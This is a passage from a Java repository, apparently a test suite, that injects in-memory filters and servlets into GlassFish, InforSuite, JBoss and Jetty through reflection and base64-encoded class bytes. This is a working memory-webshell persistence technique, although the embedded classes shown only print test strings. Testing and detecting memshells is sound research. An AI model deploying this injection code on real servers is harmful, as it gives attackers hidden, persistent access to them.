FkDEglTtgAKOgUZBQS2AAsZBS0EvQAMWQMSDbIADrYAD7gAEFO2ABFXpwAFOgQqK7cAE7AAAQANAEUASAASAAQAGQAAACYACQAAABcACAAYAA0AGwAUABwAJgAdACwAHgBFACIASAAgAEoAIwAaAAAAPgAGABQAMQAfACAABAAmAB8AIQAiAAUAAABQABsAHAAAAAAAUAAjACQAAQAIAEgAJQAmAAIADQBDACcAKAADACkAAAAMAAEAFAAxAB8AKgAEACsAAAAZAAL/AEgABAcALAcALQcALgcALwABBwAwAQAxAAAABAABADIAAQAzAAAAAgA0"; 18 | 19 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 20 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 21 | BASE64Decoder base64Decoder = new BASE64Decoder(); 22 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 23 | 24 | Method method = null; 25 | Class clz = loader.getClass(); 26 | while (method == null && clz != Object.class) { 27 | try { 28 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 29 | } catch (NoSuchMethodException ex) { 30 | clz = clz.getSuperclass(); 31 | } 32 | } 33 | 34 | if (method != null) { 35 | method.setAccessible(true); 36 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 37 | } 38 | 39 | return null; 40 | 41 | } 42 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-glassfish/src/org/su18/memshell/test/glassfish/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.glassfish; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class IndexServlet extends HttpServlet { 13 | 14 | @Override 15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 16 | String message = "glassfish index servlet test"; 17 | String id = req.getParameter("id"); 18 | 19 | StringBuilder sb = new StringBuilder(); 20 | sb.append(message); 21 | if (id != null && !id.isEmpty()) { 22 | sb.append("\nid: ").append(id); 23 | } 24 | 25 | resp.getWriter().println(sb); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-glassfish/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | AddGlassFishFilter 9 | org.su18.memshell.test.glassfish.AddGlassFishFilter 10 | 11 | 12 | 13 | AddGlassFishFilter 14 | /addGlassFishFilter 15 | 16 | 17 | 18 | AddGlassFishServiceList 19 | org.su18.memshell.test.glassfish.AddGlassFishServiceList 20 | 21 | 22 | 23 | AddGlassFishServiceList 24 | /addGlassFishServiceList 25 | 26 | 27 | 28 | IndexServlet 29 | org.su18.memshell.test.glassfish.IndexServlet 30 | 31 | 32 | 33 | IndexServlet 34 | /index 35 | 36 | 37 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-inforsuite/src/org/su18/memshell/test/inforsuite/AddInforSuiteFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.inforsuite; 2 | 3 | import com.cvicse.loong.enterprise.web.WebModule; 4 | import org.apache.catalina.deploy.FilterDef; 5 | import org.apache.catalina.deploy.FilterMap; 6 | 7 | import javax.servlet.DispatcherType; 8 | import javax.servlet.Filter; 9 | import javax.servlet.ServletContext; 10 | import javax.servlet.ServletException; 11 | import javax.servlet.http.HttpServlet; 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | import java.io.IOException; 15 | import java.lang.reflect.Constructor; 16 | import java.lang.reflect.Field; 17 | import java.util.HashMap; 18 | import java.util.HashSet; 19 | import java.util.List; 20 | 21 | import static org.su18.memshell.test.inforsuite.DynamicUtils.FILTER_CLASS_STRING; 22 | 23 | /** 24 | * 真垃圾,mac 上部署个项目都部不起来,浪费我好多时间 25 | * 测试版本:InforSuiteAS_10 26 | * 27 | * @author su18 28 | */ 29 | 30 | public class AddInforSuiteFilter extends HttpServlet { 31 | 32 | @Override 33 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 34 | 35 | 36 | String filterName = "su18InforSuiteFilter"; 37 | ServletContext servletContext = req.getServletContext(); 38 | 39 | WebModule context = null; 40 | 41 | try { 42 | 43 | // 获取 Context 44 | while (context == null) { 45 | Field f = servletContext.getClass().getDeclaredField("context"); 46 | f.setAccessible(true); 47 | Object object = f.get(servletContext); 48 | 49 | if (object instanceof WebModule) { 50 | context = (WebModule) object; 51 | } else if (object instanceof ServletContext) { 52 | servletContext = (ServletContext) object; 53 | } 54 | } 55 | 56 | // 创建自定义 Filter 对象 57 | Filter filter = (Filter) DynamicUtils.getClass(FILTER_CLASS_STRING).newInstance(); 58 | 59 | // 创建 FilterDef 对象 60 | FilterDef filterDef = new FilterDef(); 61 | filterDef.setFilterName(filterName); 62 | filterDef.setFilter(filter); 63 | // filterDef.setFilterClass(filter.getClass()); 64 | 65 | // 创建 ApplicationFilterConfig 对象 66 | Constructor[] constructor = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors(); 67 | constructor[0].setAccessible(true); 68 | Object config = constructor[0].newInstance(context, filterDef); 69 | 70 | // 创建 FilterMap 对象 71 | FilterMap filterMap = new FilterMap(); 72 | filterMap.setFilterName(filterName); 73 | filterMap.setURLPattern("/*"); 74 | HashSet set = new HashSet<>(); 75 | set.add(DispatcherType.REQUEST); 76 | filterMap.setDispatcherTypes(set); 77 | 78 | 79 | // 反射将 ApplicationFilterConfig 放入 StandardContext 中的 filterConfigs 中 80 | Field filterConfigsField = context.getClass().getSuperclass().getSuperclass().getDeclaredField("filterConfigs"); 81 | filterConfigsField.setAccessible(true); 82 | HashMap filterConfigs = (HashMap) filterConfigsField.get(context); 83 | filterConfigs.put(filterName, config); 84 | 85 | // 反射将 FilterMap 放入 StandardContext 中的 filterMaps 中 86 | Field filterMapField = context.getClass().getSuperclass().getSuperclass().getDeclaredField("filterMaps"); 87 | filterMapField.setAccessible(true); 88 | List object = (List) filterMapField.get(context); 89 | 90 | object.add(filterMap); 91 | 92 | resp.getWriter().println("inforsuite filter added"); 93 | 94 | } catch (Exception e) { 95 | e.printStackTrace(); 96 | } 97 | 98 | } 99 | } 100 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-inforsuite/src/org/su18/memshell/test/inforsuite/DynamicUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.inforsuite; 2 | 3 | import sun.misc.BASE64Decoder; 4 | 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class DynamicUtils { 13 | 14 | 15 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh"; 16 | 17 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 18 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 19 | BASE64Decoder base64Decoder = new BASE64Decoder(); 20 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 21 | 22 | Method method = null; 23 | Class clz = loader.getClass(); 24 | while (method == null && clz != Object.class) { 25 | try { 26 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 27 | } catch (NoSuchMethodException ex) { 28 | clz = clz.getSuperclass(); 29 | } 30 | } 31 | 32 | if (method != null) { 33 | method.setAccessible(true); 34 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 35 | } 36 | 37 | return null; 38 | 39 | } 40 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-inforsuite/src/org/su18/memshell/test/inforsuite/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.inforsuite; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * 中创中间件测试 11 | * 12 | * @author su18 13 | */ 14 | public class IndexServlet extends HttpServlet { 15 | 16 | @Override 17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 18 | String message = "inforsuite index servlet test"; 19 | String id = req.getParameter("id"); 20 | 21 | StringBuilder sb = new StringBuilder(); 22 | sb.append(message); 23 | if (id != null && !id.isEmpty()) { 24 | sb.append("\nid: ").append(id); 25 | } 26 | 27 | resp.getWriter().println(sb); 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-inforsuite/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | IndexServlet 9 | org.su18.memshell.test.inforsuite.IndexServlet 10 | 11 | 12 | 13 | AddInforSuiteFilter 14 | org.su18.memshell.test.inforsuite.AddInforSuiteFilter 15 | 16 | 17 | 18 | IndexServlet 19 | /index 20 | 21 | 22 | 23 | AddInforSuiteFilter 24 | /addInforSuiteFilter 25 | 26 | 27 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-jboss/src/org/su18/memshell/test/jboss/AddJBossFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.jboss; 2 | 3 | 4 | import io.undertow.servlet.api.DeploymentInfo; 5 | import io.undertow.servlet.api.FilterInfo; 6 | import io.undertow.servlet.core.DeploymentImpl; 7 | import io.undertow.servlet.util.ConstructorInstanceFactory; 8 | 9 | import javax.servlet.DispatcherType; 10 | import javax.servlet.Filter; 11 | import javax.servlet.ServletContext; 12 | import javax.servlet.ServletException; 13 | import javax.servlet.http.HttpServlet; 14 | import javax.servlet.http.HttpServletRequest; 15 | import javax.servlet.http.HttpServletResponse; 16 | import java.io.IOException; 17 | import java.lang.reflect.Field; 18 | import java.lang.reflect.Modifier; 19 | import java.util.Map; 20 | 21 | import static org.su18.memshell.test.jboss.DynamicUtils.FILTER_CLASS_STRING; 22 | 23 | /** 24 | * 来自项目 https://github.com/feihong-cs/memShell 25 | * 亲测有效 26 | * 测试版本 JBoss/WildFly 18.0.0.Final 27 | * 28 | * @author su18 29 | */ 30 | public class AddJBossFilter extends HttpServlet { 31 | 32 | @Override 33 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 34 | 35 | try { 36 | String filterName = "su18JbossFilter"; 37 | String urlPattern = "/*"; 38 | 39 | ServletContext context = req.getServletContext(); 40 | Field f = context.getClass().getDeclaredField("deploymentInfo"); 41 | f.setAccessible(true); 42 | DeploymentInfo deploymentInfo = (DeploymentInfo) f.get(context); 43 | 44 | //只添加一次 45 | Map filters = deploymentInfo.getFilters(); 46 | if (!filters.containsKey(filterName)) { 47 | 48 | Class clazz = DynamicUtils.getClass(FILTER_CLASS_STRING); 49 | FilterInfo filter = new FilterInfo(filterName, clazz, new ConstructorInstanceFactory(clazz.getDeclaredConstructor())); 50 | deploymentInfo.addFilter(filter); 51 | 52 | f = context.getClass().getDeclaredField("deployment"); 53 | f.setAccessible(true); 54 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 55 | modifiersField.setAccessible(true); 56 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); 57 | DeploymentImpl deployment = (DeploymentImpl) f.get(context); 58 | deployment.getFilters().addFilter(filter); 59 | 60 | // 0 表示把我们动态注册的 filter 放在第一位 61 | deploymentInfo.insertFilterUrlMapping(0, filterName, urlPattern, DispatcherType.REQUEST); 62 | 63 | resp.getWriter().println("jboss wildfly filter added"); 64 | } 65 | } catch (Exception e) { 66 | e.printStackTrace(); 67 | } 68 | } 69 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-jboss/src/org/su18/memshell/test/jboss/AddJBossServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.jboss; 2 | 3 | import io.undertow.servlet.api.DeploymentInfo; 4 | import io.undertow.servlet.api.ServletInfo; 5 | import io.undertow.servlet.core.DeploymentImpl; 6 | import io.undertow.servlet.handlers.ServletHandler; 7 | import io.undertow.servlet.spec.ServletRegistrationImpl; 8 | import io.undertow.servlet.util.ConstructorInstanceFactory; 9 | 10 | import javax.servlet.Servlet; 11 | import javax.servlet.ServletContext; 12 | import javax.servlet.http.HttpServlet; 13 | import javax.servlet.http.HttpServletRequest; 14 | import javax.servlet.http.HttpServletResponse; 15 | import java.lang.reflect.Constructor; 16 | import java.lang.reflect.Field; 17 | import java.lang.reflect.Modifier; 18 | import java.util.Map; 19 | 20 | import static org.su18.memshell.test.jboss.DynamicUtils.SERVLET_CLASS_STRING; 21 | 22 | /** 23 | * 来自项目 https://github.com/feihong-cs/memShell 24 | * 亲测有效 25 | * 测试版本 JBoss/WildFly 18.0.0.Final 26 | * 27 | * @author su18 28 | */ 29 | public class AddJBossServlet extends HttpServlet { 30 | 31 | @Override 32 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 33 | try { 34 | String servletName = "su18JbossServlet"; 35 | String urlPattern = "/su18"; 36 | 37 | ServletContext context = req.getServletContext(); 38 | Field f = context.getClass().getDeclaredField("deploymentInfo"); 39 | f.setAccessible(true); 40 | DeploymentInfo deploymentInfo = (DeploymentInfo) f.get(context); 41 | 42 | //只添加一次 43 | Map servlets = deploymentInfo.getServlets(); 44 | if (!servlets.containsKey(servletName)) { 45 | 46 | Class clazz = (Class) DynamicUtils.getClass(SERVLET_CLASS_STRING); 47 | ServletInfo servletInfo = new ServletInfo(servletName, clazz, new ConstructorInstanceFactory((Constructor) clazz.getDeclaredConstructor())); 48 | deploymentInfo.addServlet(servletInfo); 49 | 50 | f = context.getClass().getDeclaredField("deployment"); 51 | f.setAccessible(true); 52 | Field modifiersField = Field.class.getDeclaredField("modifiers"); 53 | modifiersField.setAccessible(true); 54 | modifiersField.setInt(f, f.getModifiers() & ~Modifier.FINAL); 55 | DeploymentImpl deployment = (DeploymentImpl) f.get(context); 56 | ServletHandler handler = deployment.getServlets().addServlet(servletInfo); 57 | 58 | ServletRegistrationImpl registration = new ServletRegistrationImpl(servletInfo, handler.getManagedServlet(), deployment); 59 | registration.addMapping(urlPattern); 60 | 61 | resp.getWriter().println("jboss wildfly servlet added"); 62 | } 63 | } catch (Exception e) { 64 | e.printStackTrace(); 65 | } 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-jboss/src/org/su18/memshell/test/jboss/DynamicUtils.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.jboss; 2 | 3 | import sun.misc.BASE64Decoder; 4 | 5 | import java.io.IOException; 6 | import java.lang.reflect.InvocationTargetException; 7 | import java.lang.reflect.Method; 8 | 9 | /** 10 | * @author su18 11 | */ 12 | public class DynamicUtils { 13 | 14 | public static String SERVLET_CLASS_STRING = "yv66vgAAADQANAoABgAjCwAkACUIACYKACcAKAcAKQcAKgcAKwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQArTG9yZy9zdTE4L21lbXNoZWxsL3Rlc3QvdG9tY2F0L1Rlc3RTZXJ2bGV0OwEABGluaXQBACAoTGphdmF4L3NlcnZsZXQvU2VydmxldENvbmZpZzspVgEADXNlcnZsZXRDb25maWcBAB1MamF2YXgvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEACkV4Y2VwdGlvbnMHACwBABBnZXRTZXJ2bGV0Q29uZmlnAQAfKClMamF2YXgvc2VydmxldC9TZXJ2bGV0Q29uZmlnOwEAB3NlcnZpY2UBAEAoTGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOylWAQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7BwAtAQAOZ2V0U2VydmxldEluZm8BABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAB2Rlc3Ryb3kBAApTb3VyY2VGaWxlAQAQVGVzdFNlcnZsZXQuamF2YQwACAAJBwAuDAAvADABAARzdTE4BwAxDAAyADMBAClvcmcvc3UxOC9tZW1zaGVsbC90ZXN0L3RvbWNhdC9UZXN0U2VydmxldAEAEGphdmEvbGFuZy9PYmplY3QBABVqYXZheC9zZXJ2bGV0L1NlcnZsZXQBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBAAlnZXRXcml0ZXIBABcoKUxqYXZhL2lvL1ByaW50V3JpdGVyOwEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAEABwAAAAYAAQAIAAkAAQAKAAAALwABAAEAAAAFKrcAAbEAAAACAAsAAAAGAAEAAAAJAAwAAAAMAAEAAAAFAA0ADgAAAAEADwAQAAIACgAAADUAAAACAAAAAbEAAAACAAsAAAAGAAEAAAAOAAwAAAAWAAIAAAABAA0ADgAAAAAAAQARABIAAQATAAAABAABABQAAQAVABYAAQAKAAAALAABAAEAAAACAbAAAAACAAsAAAAGAAEAAAASAAwAAAAMAAEAAAACAA0ADgAAAAEAFwAYAAIACgAAAE4AAgADAAAADCy5AAIBABIDtgAEsQAAAAIACwAAAAoAAgAAABcACwAYAAwAAAAgAAMAAAAMAA0ADgAAAAAADAAZABoAAQAAAAwAGwAcAAIAEwAAAAYAAgAUAB0AAQAeAB8AAQAKAAAALAABAAEAAAACAbAAAAACAAsAAAAGAAEAAAAcAAwAAAAMAAEAAAACAA0ADgAAAAEAIAAJAAEACgAAACsAAAABAAAAAbEAAAACAAsAAAAGAAEAAAAiAAwAAAAMAAEAAAABAA0ADgAAAAEAIQAAAAIAIg=="; 15 | 16 | public static String FILTER_CLASS_STRING = "yv66vgAAADQANwoABwAiCwAjACQIACUKACYAJwsAKAApBwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACpMb3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcjsBAARpbml0AQAfKExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzspVgEADGZpbHRlckNvbmZpZwEAHExqYXZheC9zZXJ2bGV0L0ZpbHRlckNvbmZpZzsBAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAA5zZXJ2bGV0UmVxdWVzdAEAHkxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAD3NlcnZsZXRSZXNwb25zZQEAH0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTsBAAtmaWx0ZXJDaGFpbgEAG0xqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluOwEACkV4Y2VwdGlvbnMHAC0HAC4BAAdkZXN0cm95AQAKU291cmNlRmlsZQEAD1Rlc3RGaWx0ZXIuamF2YQwACQAKBwAvDAAwADEBAA90aGlzIGlzIEZpbHRlciAHADIMADMANAcANQwAFAA2AQAob3JnL3N1MTgvbWVtc2hlbGwvdGVzdC90b21jYXQvVGVzdEZpbHRlcgEAEGphdmEvbGFuZy9PYmplY3QBABRqYXZheC9zZXJ2bGV0L0ZpbHRlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEACWdldFdyaXRlcgEAFygpTGphdmEvaW8vUHJpbnRXcml0ZXI7AQATamF2YS9pby9QcmludFdyaXRlcgEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQBAKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTspVgAhAAYABwABAAgAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQABAAsAAAA1AAAAAgAAAAGxAAAAAgAMAAAABgABAAAAEgANAAAAFgACAAAAAQAOAA8AAAAAAAEAEgATAAEAAQAUABUAAgALAAAAZAADAAQAAAAULLkAAgEAEgO2AAQtKyy5AAUDALEAAAACAAwAAAAOAAMAAAAfAAsAIQATACIADQAAACoABAAAABQADgAPAAAAAAAUABYAFwABAAAAFAAYABkAAgAAABQAGgAbAAMAHAAAAAYAAgAdAB4AAQAfAAoAAQALAAAAKwAAAAEAAAABsQAAAAIADAAAAAYAAQAAACkADQAAAAwAAQAAAAEADgAPAAAAAQAgAAAAAgAh"; 17 | 18 | 19 | public static Class getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException { 20 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 21 | BASE64Decoder base64Decoder = new BASE64Decoder(); 22 | byte[] bytes = base64Decoder.decodeBuffer(classCode); 23 | 24 | Method method = null; 25 | Class clz = loader.getClass(); 26 | while (method == null && clz != Object.class) { 27 | try { 28 | method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 29 | } catch (NoSuchMethodException ex) { 30 | clz = clz.getSuperclass(); 31 | } 32 | } 33 | 34 | if (method != null) { 35 | method.setAccessible(true); 36 | return (Class) method.invoke(loader, bytes, 0, bytes.length); 37 | } 38 | 39 | return null; 40 | 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-jboss/src/org/su18/memshell/test/jboss/IndexServlet.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.jboss; 2 | 3 | import javax.servlet.ServletException; 4 | import javax.servlet.http.HttpServlet; 5 | import javax.servlet.http.HttpServletRequest; 6 | import javax.servlet.http.HttpServletResponse; 7 | import java.io.IOException; 8 | 9 | /** 10 | * io.undertow.server.HttpHandler 可以被用来做内存马 11 | * 12 | * @author su18 13 | */ 14 | public class IndexServlet extends HttpServlet { 15 | 16 | @Override 17 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 18 | String message = "jboss index servlet test"; 19 | String id = req.getParameter("id"); 20 | 21 | StringBuilder sb = new StringBuilder(); 22 | sb.append(message); 23 | if (id != null && !id.isEmpty()) { 24 | sb.append("\nid: ").append(id); 25 | } 26 | 27 | resp.getWriter().println(sb); 28 | } 29 | } -------------------------------------------------------------------------------- /memshell-test/memshell-test-jboss/web/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | IndexServlet 9 | org.su18.memshell.test.jboss.IndexServlet 10 | 11 | 12 | AddJBossServlet 13 | org.su18.memshell.test.jboss.AddJBossServlet 14 | 15 | 16 | AddJBossFilter 17 | org.su18.memshell.test.jboss.AddJBossFilter 18 | 19 | 20 | 21 | IndexServlet 22 | /index 23 | 24 | 25 | 26 | AddJBossServlet 27 | /addJBossServlet 28 | 29 | 30 | 31 | AddJBossFilter 32 | /addJBossFilter 33 | 34 | -------------------------------------------------------------------------------- /memshell-test/memshell-test-jetty/src/org/su18/memshell/test/jetty/AddJettyFilter.java: -------------------------------------------------------------------------------- 1 | package org.su18.memshell.test.jetty; 2 | 3 | import com.sun.jmx.mbeanserver.JmxMBeanServer; 4 | import com.sun.jmx.mbeanserver.NamedObject; 5 | import com.sun.jmx.mbeanserver.Repository; 6 | 7 | import javax.management.ObjectName; 8 | import javax.servlet.DispatcherType; 9 | import javax.servlet.Filter; 10 | import javax.servlet.ServletException; 11 | import javax.servlet.http.HttpServlet; 12 | import javax.servlet.http.HttpServletRequest; 13 | import javax.servlet.http.HttpServletResponse; 14 | import java.io.IOException; 15 | import java.lang.management.ManagementFactory; 16 | import java.lang.reflect.Field; 17 | import java.lang.reflect.Method; 18 | import java.lang.reflect.Modifier; 19 | import java.util.EnumSet; 20 | import java.util.Set; 21 | 22 | import static org.su18.memshell.test.jetty.DynamicUtils.FILTER_CLASS_STRING; 23 | 24 | /** 25 | * 来自项目 https://github.com/feihong-cs/memShell 26 | * filter 也需要 map 到 url 上 27 | * 亲测有效 28 | * 测试版本 Jetty 9.4.22 29 | * 30 | * @author su18 31 | */ 32 | public class AddJettyFilter extends HttpServlet { 33 | 34 | @Override 35 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { 36 | 37 | try { 38 | String filterName = "su18JettyFilter"; 39 | String urlPattern = "/*"; 40 | 41 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); 42 | 43 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); 44 | field.setAccessible(true); 45 | Object obj = field.get(mBeanServer); 46 | 47 | field = obj.getClass().getDeclaredField("repository"); 48 | field.setAccessible(true); 49 | Field modifier = field.getClass().getDeclaredField("modifiers"); 50 | modifier.setAccessible(true); 51 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 52 | Repository repository = (Repository) field.get(obj); 53 | 54 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); 55 | for (NamedObject namedObject : namedObjectSet) { 56 | try { 57 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); 58 | field.setAccessible(true); 59 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 60 | Object webAppContext = field.get(namedObject.getObject()); 61 | 62 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); 63 | field.setAccessible(true); 64 | Object handler = field.get(webAppContext); 65 | 66 | field = handler.getClass().getDeclaredField("_filters"); 67 | field.setAccessible(true); 68 | Object[] objects = (Object[]) field.get(handler); 69 | 70 | boolean flag = false; 71 | for (Object o : objects) { 72 | field = o.getClass().getSuperclass().getDeclaredField("_name"); 73 | field.setAccessible(true); 74 | String name = (String) field.get(o); 75 | if (name.equals(filterName)) { 